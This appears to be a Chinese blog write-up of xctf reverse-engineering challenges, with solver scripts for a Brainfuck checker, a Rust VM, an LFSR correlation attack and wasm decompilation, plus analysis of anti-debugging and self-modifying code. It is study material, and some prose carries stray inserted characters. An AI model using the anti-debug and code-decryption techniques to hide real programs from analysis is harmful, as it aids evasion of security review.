xctf戰(zhàn)役_部分re題目writeup

這次比賽做了四道簡單的RE...難的師父做了嘻嘻,我好菜我好菜我好菜,Helica tql!

cycle graph

主要記錄一份圖路徑搜索算法的代碼hh

# 找到一條從start到end的路徑
def findPath(graph,start,end,path=[]):   
    path = path + [start]
    if start == end:
        return path 
    for node in graph[start]:
        if node not in path:
            newpath = findPath(graph,node,end,path)
            if newpath:
                return newpath
    return None
 
# 找到所有從start到end的路徑
def findAllPath(graph,start,end,path=[]):
    path = path +[start]
    if start == end:
        return [path]
 
    paths = [] #存儲所有路徑    
    for node in graph[start]:
        if node not in path:
            newpaths = findAllPath(graph,node,end,path) 
            for newpath in newpaths:
                paths.append(newpath)
    return paths
 
# 查找最短路徑
def findShortestPath(graph,start,end,path=[]):
    path = path +[start]
    if start == end:
        return path
    
    shortestPath = []
    for node in graph[start]:
        if node not in path:
            newpath = findShortestPath(graph,node,end,path)
            if newpath:
                if not shortestPath or len(newpath)<len(shortestPath):
                    shortestPath = newpath
    return shortestPath
 
    '''
主程序
'''
graph = {'A': ['B', 'C','D'],
         'B': [ 'E'],
         'C': ['D','F'],
         'D': ['B','E','G'],
         'E': [],
         'F': ['D','G'],
         'G': ['E']}
 
onepath = findPath(graph,'A','G')
print('一條路徑:',onepath)
 
allpath = findAllPath(graph,'A','G')
print('\n所有路徑:',allpath)
 
shortpath = findShortestPath(graph,'A','G')
print('\n最短路徑:',shortpath)

天津垓

兩個考點瓶您,第一個是反調(diào)試非驮,第二個是smc
反調(diào)試中一個是枚舉窗口檢測ida od等等唯绍,還有一個是判斷STARTUPINFO信息
題目有兩個驗證部分烈炭,第一個驗證是代碼中直接可見的官份,我用z3求解解出來了缴罗,第二個是需要經(jīng)過smc后才可見的助琐,我做題的時候并沒有發(fā)現(xiàn)smc,用的持續(xù)單步然后dump出解密后的代碼的方式面氓。 不過這個smc函數(shù)并不在基本的流程里面兵钮,主要是使用了cygwin這個動態(tài)庫,然后調(diào)用的侧但,我查了一下cygwin這個動態(tài)庫矢空,主要是用來在windows平臺上實現(xiàn)linux平臺函數(shù)使用的,我后來調(diào)試的時候也是發(fā)現(xiàn)先進(jìn)入cygwin.dll然后就到了smc函數(shù)的地方禀横,我沒太懂這個具體的原理==下面是smc的部分

// sub_100401506(sub_10040164D, 0x415, Str);
// 函數(shù)調(diào)用如上屁药,主要用來修改sub_10040164D這個函數(shù),修改的長度是0x415,Str是第一部分的輸入
BOOL __fastcall sub_100401506(void *a1, int a2, __int64 a3)
{
  BOOL result; // eax
  DWORD flOldProtect; // [rsp+28h] [rbp-8h]
  int i; // [rsp+2Ch] [rbp-4h]
  LPVOID lpAddress; // [rsp+40h] [rbp+10h]
  int v7; // [rsp+48h] [rbp+18h]
  __int64 v8; // [rsp+50h] [rbp+20h]

  lpAddress = a1;
  v7 = a2;
  v8 = a3;
  if ( strlen(Str) != 18 )
    exit(1);
  if ( !VirtualProtect(lpAddress, v7, 0x40u, &flOldProtect) )  //將代碼段的內(nèi)存屬性修改為可讀寫和執(zhí)行
    exit(1);
  for ( i = 0; i < v7; ++i )
    *(lpAddress + i) ^= *(i % 18 + v8);
  result = VirtualProtect(lpAddress, v7, flOldProtect, &flOldProtect);  //修改后還原原來的內(nèi)存屬性
  if ( !result )
    exit(1);
  return result;
}

在 Windows 程序中使用了VirtualProtect()函數(shù)來改變虛擬內(nèi)存區(qū)域的屬性。函數(shù)聲明如下:

#include <Memoryapi.h>

BOOL VirtualProtect(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flNewProtect,
  PDWORD lpflOldProtect
);

VirtualProtect()函數(shù)有4個參數(shù)柏锄,lpAddress是要改變屬性的內(nèi)存起始地址酿箭,dwSize是要改變屬性的內(nèi)存區(qū)域大小,flAllocationType是內(nèi)存新的屬性類型趾娃,lpflOldProtect內(nèi)存原始屬性類型保存地址缭嫡。而flAllocationType部分值如下表。在 SMC 中常用的是 0x40抬闷。

這里smc就是一個簡單的與第一部分的輸入進(jìn)行一個異或妇蛀,使用idc腳本可以得到修改后的代碼
第二部分我還是用z3求解,但是因為乘數(shù)是素數(shù)也可以直接求逆元

fxck!

這道題出的還挺那啥的,出題人一手替換文件把我坑慘了...題目最開始的驗證部分寫的有問題,但是我也有自己的問題,第一個就是不會base58(u1s1就算不知道base58我就連16進(jìn)制轉(zhuǎn)58進(jìn)制都沒看出來...活該我菜)第二個就是不會brainfuck,我以為是個虛擬機(jī)分析了好久,雖然分析出來加密的過程了但是用時太長了...記錄一下這兩個

加密部分

加密部分就是個base58,典型特征就是轉(zhuǎn)58(0x3a)進(jìn)制,還有查表操作,反編譯的代碼如下

for ( i = 0; i < v10; ++i ) //進(jìn)制轉(zhuǎn)換
  {
    v14 = *(char *)(i + v11);
    for ( j = 0; j < v12; ++j )
    {
      v14 += *((unsigned __int8 *)v20 + j) << 8;
      *((_BYTE *)v20 + j) = v14 % 0x3A;
      v14 /= 0x3Au;
    }
    while ( v14 )
    {
      v4 = v12++;
      *((_BYTE *)v20 + v4) = v14 % 0x3A;
      v14 /= 0x3Au;
    }
  }
  v5 = std::operator<<<std::char_traits<char>>(&std::cout, "WAIT WAIT WAIT!");
  std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
  v16 = 0;
  while ( v16 < v10 && !*(_BYTE *)(v16 + v11) )
  {
    v6 = v16++;
    *(_BYTE *)(v6 + v9) = 49;
  }
  for ( k = 0; k <= 57; ++k )
    byte_602500[k] ^= byte_602490[k % 7] ^ (unsigned __int8)k;
  for ( l = 0; l < v12; ++l ) //查表操作
    *(_BYTE *)(v16 + l + v9) = byte_602500[*((unsigned __int8 *)v20 + v12 - 1 - l)];

驗證部分

驗證部分是一個brainfuck語言的解釋器笤成,這種語言基于一個簡單的機(jī)器模型评架,除了指令,這個機(jī)器還包括:一個以字節(jié)為單位炕泳、被初始化為零的數(shù)組纵诞、一個指向該數(shù)組的指針(初始時指向數(shù)組的第一個字節(jié))、以及用于輸入輸出的兩個字節(jié)流培遵。關(guān)于這個語言的介紹:
Brainfuck
Brainfuck在線解析器
這個語言一共只包含如下8個狀態(tài)

典型特征是代碼中包含指針的加減以及指針指向值的加減

  while ( v5 < i )
  {
    v2 = (unsigned __int8)byte_6020A0[v5];
    if ( v2 == 0xC4 )
    {
      ++*v9; //+
    }
    else if ( v2 > 196 )
    {
      switch ( v2 )
      {
        case 0xDD: //[
          if ( !*v9 )
            v5 = dword_603B20[v5];
          break;
        case 0xFD: //]
          v5 = dword_603B20[v5] - 1;
          break;
        case 0xC5:
          --*v9;  //-
          break;
      }
    }
    else
    {
      switch ( v2 )
      {
        case 0xA8:
          ++v9; //>
          break;
        case 0xA9:
          --v9; //<
          break;
        case 1: //.
          v3 = v7++;
          s1[v3] = *v9;
          break;
      }
    }
    ++v5;
  }

提取byte_6020A0中的指令浙芙,使用下面的解釋器可以對brainfuck反編譯

import re

def sym2cal(s):
    if '>' in s:
        return len(s)
    else:
        return -len(s)

def cal(s):
    if '+' in s:
        return '+= %d'%len(s)
    else:
        return '-= %d'%len(s)

def bf2asm(s,ptr,tab):
    p = 0
    l = len(s)
    while(p<l):
        pattern = re.compile(r'([><]*)\[-([><]*)\[-\]([><]+)\[-\]([><]+)\[-([><]+)\+([><]+)\+([><]+)\]([><]+)\[-([><]+)\+([><]+)\]([><]*)\[-([><]+)\+([><]+)\]([><]*)\]')
        match = pattern.match(s[p:])
        if match:        
            p += len(match.group())

            groups = match.groups()
            ptr1 = ptr + sym2cal(groups[0])
            ptr2 = ptr1
            for i in xrange(1,4):
                ptr2 += sym2cal(groups[i])
            ptr3 = ptr2
            for i in xrange(4,12):
                ptr3 += sym2cal(groups[i])
            print tab+'mem[%d] += mem[%d]*mem[%d]'%(ptr3,ptr2,ptr1)

            for v in groups:
                ptr += sym2cal(v)
            continue
        
        pattern = re.compile(r'([><]*)\[-\]([><]+)\[-\]([><]+)\[-([><]+)\+([><]+)\+([><]+)\]([><]+)\[-([><]+)\+([><]+)\]([><]*)\[-([><]+)\+([><]+)\]')
        match = pattern.match(s[p:])
        if match:
            p += len(match.group())

            groups = match.groups()
            ptr1 = ptr
            for i in xrange(3):
                ptr1 += sym2cal(groups[i])
            ptr2 = ptr1
            for i in xrange(3,11):
                ptr2 += sym2cal(groups[i])
            print tab+'mem[%d] += mem[%d]'%(ptr2,ptr1)

            for v in groups:
                ptr += sym2cal(v)
            continue

        pattern = re.compile(r'([><]*)\[-\]([><]+)\[-\]([><]+)\[-([><]+)\+([><]+)\+([><]+)\]([><]+)\[-([><]+)\+([><]+)\]([><]+)')
        match = pattern.match(s[p:])
        if match:
            p += len(match.group())

            groups = match.groups()
            ptr1 = ptr + sym2cal(groups[0])
            ptr2 = ptr1 + sym2cal(groups[1])
            ptr3 = ptr2 + sym2cal(groups[2])
            print tab+'mem[%d] = mem[%d]'%(ptr1,ptr3)

            for v in groups:
                ptr += sym2cal(v)
            continue
            
        pattern = re.compile(r'\[-\]')
        match = pattern.match(s[p:])
        if match:
            p += len(match.group())
            print tab+'mem[%d] = 0'%(ptr)
            continue

        pattern = re.compile(r'>+')
        match = pattern.match(s[p:])
        if match:
            p += len(match.group())
            ptr += len(match.group())
            continue

        pattern = re.compile(r'<+')
        match = pattern.match(s[p:])
        if match:
            p += len(match.group())
            ptr -= len(match.group())
            continue

        pattern = re.compile(r'\++')
        match = pattern.match(s[p:])
        if match:
            p += len(match.group())
            print tab+'mem[%d] %s'%(ptr,cal(match.group()))
            continue

        pattern = re.compile(r'-+')
        match = pattern.match(s[p:])
        if match:
            p += len(match.group())
            print tab+'mem[%d] %s'%(ptr,cal(match.group()))
            continue

        c = s[p]
        if c == '[':
            stk = 1
            for i,v in enumerate(s[p+1:]):
                if v == '[':
                    stk += 1
                elif v == ']':
                    stk -= 1
                else:
                    continue
                if stk == 0:
                    print tab+'while mem[%d]:'%ptr
                    ptr = bf2asm(s[p+1:p+1+i],ptr,tab+'\t')
                    p += i+1
                    break
            continue

        elif c == ',':
            if input_ptr < 96:
                print tab+'mov mem[%d] input[input_ptr]'%ptr
            else:
                if bit_add >= 3600:
                    print tab+'mov mem[%d] 0x30'%ptr
                else:
                    print tab+'mov mem[%d] 1'%ptr
        elif c == '.':
            print tab+'cmp mem[%d] data[data_ptr]'%ptr
        p += 1
    return ptr

s = ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[-]<<<<<<<<<<<<<<<<<<<<<<<[-]>>>>>>>>>>>>>>>>>>>>>>[->+<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>,>>>>>>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<[-]>>>>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>]"
input_ptr = 0
bit_add = 0
bf2asm(s,0,'')

easyparser

這道題是做出來讓我最高興的一道題(xiaoku.jpg)主要是查了一下發(fā)現(xiàn)用了Rust,Rust代碼里面會多了很多安全檢查的部分來擾亂一下視線(比如說做加法之前會檢查加法會不會溢出),去掉這些安全檢查的部分之后倒是挺容易看出來解釋器的邏輯,之后就是體力活了==
wp里面有句話記錄一下登刺,或許以后出題用得著呢嘻嘻

一個vm逆向題目,在.init_array中初始化了一部分?jǐn)?shù)據(jù)嗡呼,在.fin_array中進(jìn)行flag的檢查纸俭,由于Rust編程
規(guī)范不允許在main前和main后編寫邏輯,所以先用Rust寫了一個so庫南窗,用c語言進(jìn)行一次包裹

逆出來以后可以看出來流程掉蔬,第一層用來檢查輸入長度等于38,第二層將輸入的中間部分矾瘾,左移2后與99異或等于特定值.下面是反編譯的代碼

data = [0, 0, 18, 1, 1, 18, 2, 2, 18, 3, 3, 18, 6, 6, 18, 7, 7, 18, 0, 105, 1, 1, 110, 1, 2, 112, 1, 3, 117, 1, 6, 116, 1, 7, 32, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24, 7, 0, 24, 0, 102, 1, 1, 108, 1, 2, 97, 1, 3, 103, 1, 6, 58, 1, 7, 32, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24, 7, 0, 24, 1, 1, 18, 0, 0, 23, 0, 0, 5, 1, 1, 7, 1, 38, 26, 31, 0, 30, 0, 0, 25, 0, 0, 6, 0, 125, 26, 18, 0, 28, 0, 98, 1, 1, 121, 1, 2, 101, 1, 3, 126, 1, 6, 126, 1, 7, 126, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24, 7, 0, 24, 0, 10, 1, 0, 0, 24, 0, 0, 25, 8, 256, 1, 8, 225, 26, 25, 0, 30, 0, 0, 6, 8, 0, 4, 8, 1, 9, 19, 0, 29, 0, 0, 6, 0, 123, 26, 3, 0, 31, 0, 0, 6, 0, 103, 26, 3, 0, 31, 0, 0, 6, 0, 97, 26, 3, 0, 31, 0, 0, 6, 0, 108, 26, 3, 0, 31, 0, 0, 6, 0, 102, 26, 3, 0, 31, 9, 9, 18, 10, 225, 1, 7, 9, 3, 6, 10, 3, 6, 99, 17, 6, 2, 13, 6, 7, 27, 3, 0, 31, 9, 1, 7, 10, 1, 7, 9, 32, 26, 42, 0, 30, 0, 99, 1, 1, 111, 1, 2, 114, 1, 3, 114, 1, 6, 101, 1, 7, 99, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24]
qword_6C09B8 = [144, 332, 28, 240, 132, 60, 24, 64, 64, 240, 208, 88, 44, 8, 52, 240, 276, 240, 128, 44, 40, 52, 8, 240, 144, 68, 48, 80, 92, 44, 264, 240] + [0]*1248
qword_6BF1B8 = [0] * 768
EIP = 0x1f
qword_6BF130 = [0x66, 0, 0x61, 0x67] + [0]*100
qword_6BF150 = 0x100
flag = "flag{G0ertyuiopasdfghjklzxcvbnmoooouu}"
index = 0
while True:
    opcode = data[EIP * 3 + 2]
    arg1 = data[EIP * 3]
    arg2 = data[EIP * 3 + 1]
    EIP = EIP + 1
    if opcode == 25:
        print "exit",25
        # print qword_6BF1B8
        if index == 38:
            data = [0, 0, 6, 0, 125, 26, 18, 0, 28, 0, 98, 1, 1, 121, 1, 2, 101, 1, 3, 126, 1, 6, 126, 1, 7, 126, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24, 7, 0, 24, 0, 10, 1, 0, 0, 24, 0, 0, 25, 8, 256, 1, 8, 225, 26, 25, 0, 30, 0, 0, 6, 8, 0, 4, 8, 1, 9, 19, 0, 29, 0, 0, 6, 0, 123, 26, 3, 0, 31, 0, 0, 6, 0, 103, 26, 3, 0, 31, 0, 0, 6, 0, 97, 26, 3, 0, 31, 0, 0, 6, 0, 108, 26, 3, 0, 31, 0, 0, 6, 0, 102, 26, 3, 0, 31, 9, 9, 18, 10, 225, 1, 7, 9, 3, 6, 10, 3, 6, 99, 17, 6, 2, 13, 6, 7, 27, 3, 0, 31, 9, 1, 7, 10, 1, 7, 9, 32, 26, 42, 0, 30, 0, 99, 1, 1, 111, 1, 2, 114, 1, 3, 114, 1, 6, 101, 1, 7, 99, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24, 7, 0, 24, 0, 116, 1, 1, 108, 1, 2, 121, 1, 3, 33, 1, 6, 10, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24, 0, 0, 25]
            EIP = 0
            index = 0
        else:
            break
    elif opcode == 0:
        v31 = qword_6BF130[arg1]
        qword_6C09B8[v31] = arg2
        print "v31 = qword_6BF130[",arg1,"]"
        print "qword_6C09B8[",v31,"] = ",arg2
    elif opcode == 1:        
        print "qword_6BF130[",arg1,"] = ",arg2
        qword_6BF130[arg1] = arg2
    elif opcode == 2:
        qword_6BF130[arg1] = qword_6BF130[arg2]
        print "qword_6BF130[",arg1,"] = qword_6BF130[",arg2,"];"
    elif opcode == 3:
        v29 = qword_6BF130[arg2]
        qword_6BF130[arg1] = qword_6C09B8[v29]
        print "v29 = qword_6BF130[",arg2,"]"
        print "qword_6BF130[",arg1,"] = qword_6C09B8[",v29,"]"
    elif opcode == 4:
        v30 = qword_6BF130[arg1]
        qword_6C09B8[v30] = qword_6BF130[arg2]
        print "v30 = qword_6BF130[",arg1,"]"
        print "qword_6C09B8[",v30,"] = qword_6BF130[",arg2,"]"
    elif opcode == 5:
        qword_6BF150 += 1
        qword_6BF1B8[qword_6BF150] = qword_6BF130[arg1]
        print "qword_6BF150 = qword_6BF150 + 1"
        print "qword_6BF1B8[",qword_6BF150,"] = qword_6BF130[",arg1,"]"
    elif opcode == 6:
        qword_6BF130[arg1] = qword_6BF1B8[qword_6BF150]
        qword_6BF150 = qword_6BF150 - 1
        print "qword_6BF130[",arg1,"] = qword_6BF1B8[",qword_6BF150,"]"
        print "qword_6BF150 = qword_6BF150 - 1"
    elif opcode == 7:
        qword_6BF130[arg1] += arg2
        print "qword_6BF130[",arg1,"] += ",arg2
    elif opcode == 8:
        v28 = qword_6BF130[arg2]
        qword_6BF130[arg1] += v28
        print "v28 = qword_6BF130[",arg2,"]"
        print "qword_6BF130[",arg1,"] += ",v28
    elif opcode == 9:
        v3 = qword_6BF130[arg1]
        qword_6BF130[arg1] = v3 - arg2
        print "v3 = qword_6BF130[",arg1,"]"
        print "qword_6BF130[",arg1,"] = ",v3,"-", arg2
    elif opcode == 10:
        v27 = qword_6BF130[arg2]
        v4 = qword_6BF130[arg1]
        qword_6BF130[arg1] = v4 - v27
        print "v27 = qword_6BF130[",arg2,"]"
        print "v4 = qword_6BF130[",arg1,"]"
        print "qword_6BF130[",arg1,"] = ",v4 ,"-",v27
    elif opcode == 11:
        qword_6BF130[arg1] *= arg2
        print "qword_6BF130[",arg1,"] *= ",arg2
    elif opcode == 12:
        v26 = qword_6BF130[arg2]
        qword_6BF130[arg1] *= v26
        print "v26 = qword_6BF130[",arg2,"]"
        print "qword_6BF130[",arg1,"] *= ",v26
    elif opcode == 13:
        qword_6BF130[arg1] <<= arg2 & 0x3F
        print "qword_6BF130[",arg1,"] <<= ",arg2,"& 0x3F"
    elif opcode == 14:
        v25 = qword_6BF130[arg2]
        qword_6BF130[arg1] <<= v25 & 0x3F
        print "v25 = qword_6BF130[",arg2,"]"
        print "qword_6BF130[",arg1,"] <<= ",v25 ,"& 0x3F"
    elif opcode == 15:
        qword_6BF130[arg1] >>= arg2 & 0x3F
        print "qword_6BF130[",arg1,"] >>= ",arg2 ,"& 0x3F"
    elif opcode == 16:
        v24 = qword_6BF130[arg2]
        qword_6BF130[arg1] >>= v24 & 0x3F
        print "v24 = qword_6BF130[",arg2,"]"
        print "qword_6BF130[",arg1,"] >>= ",v24 ,"& 0x3F"
    elif opcode == 17:
        qword_6BF130[arg1] ^= arg2
        print "qword_6BF130[",arg1,"] ^= ",arg2
    elif opcode == 18:
        qword_6BF130[arg1] ^= qword_6BF130[arg2]
        print "qword_6BF130[",arg1,"] ^= qword_6BF130[",arg2,"]"
    elif opcode == 19:
        qword_6BF130[arg1] |= arg2
        print "qword_6BF130[",arg1,"] |= ",arg2
    elif opcode == 20:
        qword_6BF130[arg1] |= qword_6BF130[arg2]
        print "qword_6BF130[",arg1,"] |= qword_6BF130[",arg2,"]"
    elif opcode == 21:
        qword_6BF130[arg1] &= arg2
        print "qword_6BF130[",arg1,"] &= ",arg2
    elif opcode == 22:
        qword_6BF130[arg1] &= qword_6BF130[arg2]
        print "qword_6BF130[",arg1,"] &= qword_6BF130[",arg2,"]"
    elif opcode == 23:
        qword_6BF130[arg1] = ord(flag[index])
        index = index + 1
        print "qword_6BF130[",arg1,"] =", flag[index - 1]
        # if flag == 32:
        #     print "get another one"
        #     break
        # flag = True
    elif opcode == 24:
        v13 = qword_6BF130[arg1]
        print "v13 = qword_6BF130[",arg1,"]"
    elif opcode == 26:
        byte_6BF1B0 = qword_6BF130[arg1] == arg2
        byte_6BF1B1 = qword_6BF130[arg1] < arg2
        print "byte_6BF1B0 = qword_6BF130[",arg1,"] == ",arg2
        print "byte_6BF1B1 = qword_6BF130[",arg1,"] < ",arg2
    elif opcode == 27:
        byte_6BF1B0 = qword_6BF130[arg1] == qword_6BF130[arg2]
        byte_6BF1B1 = qword_6BF130[arg1] < qword_6BF130[arg2]
        print "byte_6BF1B0 = qword_6BF130[",arg1,"] == qword_6BF130[",arg2,"]"
        print "byte_6BF1B1 = qword_6BF130[",arg1,"] < qword_6BF130[",arg2,"]"
        print "==>",qword_6BF130[arg1], qword_6BF130[arg2]
    elif opcode == 28:
        if byte_6BF1B0 == 1:
            EIP = arg1
        print "if byte_6BF1B0 == 1: EIP = ",arg1
    elif opcode == 29:
        EIP = arg1
        print " EIP = ",arg1
    elif opcode == 30:
        if byte_6BF1B1 == 1:
            EIP = arg1
        print "if ( byte_6BF1B1 == 1 )EIP = ",arg1
    elif opcode == 31:
        if not byte_6BF1B0:
            EIP = arg1
        print "if ( !byte_6BF1B0 )EIP = ",arg1
    else:
        print "Unkown opcode",opcode
        break

clock

從這里開始都是我不會的題==
這個題的加密流程很容易能看出來,但是我不會解...后來師父來了很快就做出來了略(Helica好厲害好厲害我好菜我好菜),wp中說是窮舉鐘控的寄存器初態(tài),對另外兩個寄存器快速相關(guān)攻擊箭启。
程序?qū)崿F(xiàn)了一個時鐘控制的非線性移位寄存器壕翩,由一個lfsr控制另外兩個lfsr的輸出。

x = n1 ? n3 : n2

用相關(guān)性攻擊傅寡,先分析輸出與三個lfsr的關(guān)系放妈,可知輸出與n2和n3相同的概率是0.75,和n1相同的概率是0.5荐操。先分別爆破猜出n2和n3芜抒,之后再爆破推出n1。

def lfsr_1(R, mask):
    output = (R << 1) & 0x1fffff
    i = (R & mask) & 0x1fffff
    lastbit = 0
    while i != 0:
        lastbit ^= (i & 1)
        i = i >> 1
    output ^= lastbit
    return (output, lastbit)

def lfsr_2(R, mask):
    output = (R << 1) & 0x3fffff
    i = (R & mask) & 0x3fffff
    lastbit = 0
    while i != 0:
        lastbit ^= (i & 1)
        i = i >> 1
    output ^= lastbit
    return (output, lastbit)

def lfsr_3(R, mask):
    output = (R << 1) & 0x7fffff
    i = (R & mask) & 0x7fffff
    lastbit = 0
    while i != 0:
        lastbit ^= (i & 1)
        i = i >> 1
    output ^= lastbit
    return (output, lastbit)

def single_round(R1, R1_mask, R2, R2_mask, R3, R3_mask):
    (R1_NEW, x1) = lfsr_1(R1, R1_mask)
    (R2_NEW, x2) = lfsr_2(R2, R2_mask)
    (R3_NEW, x3) = lfsr_3(R3, R3_mask)

    return (R1_NEW, R2_NEW, R3_NEW, x3 if x1 == 1 else x2)


R1_mask = 0x17FA06
R2_mask = 0x2A9A0D
R3_mask = 0x5E5E6A
n3 = 23
n2 = 22
n1 = 21

def guess_2(beg, end, num, mask):
    ansn = range(beg, end)
    data = open('./output').read(num)
    data = ''.join(bin(256 + ord(c))[3:] for c in data)
    now = 0
    res = 0
    for i in ansn:
        r = i
        cnt = 0
        for j in range(num * 8):
            r, lastbit = lfsr_2(r, mask)
            lastbit = str(lastbit)
            cnt += (lastbit == data[j])
        if cnt > now:
            now = cnt
            res = i
            print now, res,
            print 'cor rate: %f' % (cnt*1.0 / (num*8))
    return res

def guess_3(beg, end, num, mask):
    ansn = range(beg, end)
    data = open('./output').read(num)
    data = ''.join(bin(256 + ord(c))[3:] for c in data)
    now = 0
    res = 0
    for i in ansn:
        r = i
        cnt = 0
        for j in range(num * 8):
            r, lastbit = lfsr_3(r, mask)
            lastbit = str(lastbit)
            cnt += (lastbit == data[j])
        if cnt > now:
            now = cnt
            res = i
            print now, res, 
            print 'cor rate: %f' % (cnt*1.0 / (num*8))
    return res


def bruteforce1(y, z):
    data = open('./output').read(50)
    data = ''.join(bin(256 + ord(c))[3:] for c in data)
    for x in range(pow(2, n1 - 1), pow(2, n1)):
        R1, R2, R3 = x, y, z
        flag = True
        for i in range(len(data)):
            (R1, R2, R3,
             out) = single_round(R1, R1_mask, R2, R2_mask, R3, R3_mask)
            if str(out) != data[i]:
                flag = False
                break
        if y % 10000 == 0:
            print 'now: ', x, y, z
        if flag:
            print 'ans: ', hex(x)[2:], hex(y)[2:], hex(z)[2:]
            break


#R2 = guess_2(pow(2, n2 - 1), pow(2, n2), 50, R2_mask)
R2 = 3324079
print R2
#R3 = guess_3(pow(2, n3 - 1), pow(2, n3), 50, R3_mask)
R3 = 4958299
print R3

bruteforce1(R2, R3)

X1cT34m給了一個c版本的,應(yīng)該要快很多,記錄一下

#include <stdio.h>
#include <stdint.h>

void lfsr(
    int init, int mask1, int mask2, uint8_t* seq, int len
) {
    for(int j = 0; j < len; j++) {
        uint8_t byte = 0;
        uint8_t bit = 8;
        do {
            uint8_t output = 0;
            int x = init & mask1;
            while (x) {
                output ^= x & 1;
                x >>= 1;
            }
            init = (output ^ (init << 1)) & mask2;
            byte = (byte << 1) ^ output;
            bit--;
        } while (bit);
        seq[j] = byte;
    }
}

double correlation(
    uint8_t* A, uint8_t* B, int len
) {
    int N = len * 8;
    int d = 0;
    for(int i = 0; i < len; i++) {
        uint8_t bit = 8;
        uint8_t a = A[i];
        uint8_t b = B[i];
        do {
            if ((a & 1) == (b & 1))
                d++;
            a >>= 1;
            b >>= 1;
            bit--;
        } while (bit);
    }
    return (double)d / N;
}

uint8_t mixed_output[] = {
    95, 83, 107, 255, 209, 96, 188, 166, 230, 219, 223, 72, 150, 155, 169,
    138, 126, 0, 91, 20, 19, 109, 82, 12, 249, 91, 39, 107, 104, 55, 207,
    65, 155, 197, 204, 81, 76, 22, 83, 208, 215, 13, 254, 14, 43, 87, 29,
    42, 161, 92, 2, 109, 110, 232, 201, 147, 19, 53, 216, 82, 144, 169,
    34, 193, 106, 0, 253, 224, 7, 46, 24, 16, 226, 127, 164, 162, 54, 98,
    144, 141, 182, 174, 252, 64, 130, 19, 163, 242, 176, 78, 79, 3, 19, 11,
    160, 121, 149, 44, 53, 17,
}; // 100

void guess2(
) {
    int len = 100;
    uint8_t seq[100] = {};

    int possible_r2 = 0;
    double max_p = 0.0;

    int r2;
    for (r2 = 0; r2 < (1<<22); r2++) {
        lfsr(r2, 0x2A9A0D, 0x3FFFFF, seq, 100);

        double corr = correlation(seq, mixed_output, len);
        if (corr > max_p) {
            possible_r2 = r2;
            max_p = corr;
        }
    }
    printf("%d %f", possible_r2, max_p); // 3324079
}

void guess3(
) {
    int len = 100;
    uint8_t seq[100] = {};

    int possible_r3 = 0;
    double max_p = 0.0;

    int r3;
    for (r3 = 0; r3 < (1<<23); r3++) {
        lfsr(r3, 0x5E5E6A, 0x7FFFFF, seq, 100);

        double corr = correlation(seq, mixed_output, len);
        if (corr > max_p) {
            possible_r3 = r3;
            max_p = corr;
        }
    }
    printf("%d %f", possible_r3, max_p); // 4958299
}

void brute_force(
) {
    uint8_t seq_r1[100] = {};
    uint8_t seq_r2[100] = {};
    uint8_t seq_r3[100] = {};

    int r2 = 3324079;
    int r3 = 4958299;

    lfsr(r2, 0x2A9A0D, 0x3FFFFF, seq_r2, 100);
    lfsr(r3, 0x5E5E6A, 0x7FFFFF, seq_r3, 100);

    for(int r1 = 1427994; r1 < (1<<21); r1++) {
        lfsr(r1, 0x17FA06, 0x1FFFFF, seq_r1, 100);

        for (int i = 0; i < 100; i++) {
            int byte = 0;

            for(int bit = 7; bit >= 0; bit--) {
                int x1 = (seq_r1[i]>>bit) & 1;
                int x2 = (seq_r2[i]>>bit) & 1;
                int x3 = (seq_r3[i]>>bit) & 1;
                byte = (byte<<1) ^ ((x1*x3)^((x1^1)*x2));
            }

            if (byte != mixed_output[i]) break;
            if (i == 99) printf("%d", r1);  // 1427994
        }
    }
}

int main(
) {
    // guess2();
    // guess3();
    // brute_force();

    int r1 = 1427994;
    int r2 = 3324079;
    int r3 = 4958299;
    printf("flag{%x%x%x}", r1, r2, r3); // flag{15ca1a32b8af4ba85b}
}

關(guān)于LFSR的一些資料
線性反饋移位寄存器與梅森旋轉(zhuǎn)算法
深入分析CTF中的LFSR類題目(一)
深入分析CTF中的LFSR類題目(二)

baby_wasi

趁著這道題好好學(xué)習(xí)了一下wasm,感覺收獲還挺多的(Helica tql tql tql)

反編譯wasm

這道題用了wasmer-c-api來構(gòu)建,主程序為baby_wasi,program.wasm為子程序,主要處理字符串變換邏輯.首先對program.wasm逆向分析.基礎(chǔ)教程:
一種Wasm逆向靜態(tài)分析方法
反匯編的話托启,可以用wasm2wat把wasm反匯編成wat宅倒,https://developer.mozilla.org/zh-CN/docs/WebAssembly/Understanding_the_text_format 這里面對wat進(jìn)行了一些解釋
還可以把wasm轉(zhuǎn)成c語言的格式,用wasm2c

$ ./wasm2c wasm.wasm -o wasm.c
==> 得到wasm.c和wasm.h

但是因為生成的c語言很長而且基本跟看wat沒什么區(qū)別屯耸,所以需要再編譯成二進(jìn)制文件放到ida里面去看
將之前反編譯出來的wasm.c拐迁,wasm.h,以及wabt項目內(nèi)的wasm-rt.h疗绣,wasm-rt-impl.c线召,wasm-rt-impl.h三個文件放到同一個文件夾。
直接gcc wasm.c會報錯多矮,因為很多wasm的函數(shù)沒有具體的實現(xiàn)缓淹。但是我們可以只編譯不鏈接,我們關(guān)心的只是程序本身的邏輯塔逃,不需要真正編譯出能運行的elf來讯壶。

$ gcc -c wasm.c -o wasm.o

得到的還未連接的elf文件wasm.o, 將wasm.o放到ida里面分析會比較清楚一些。

查找main函數(shù)

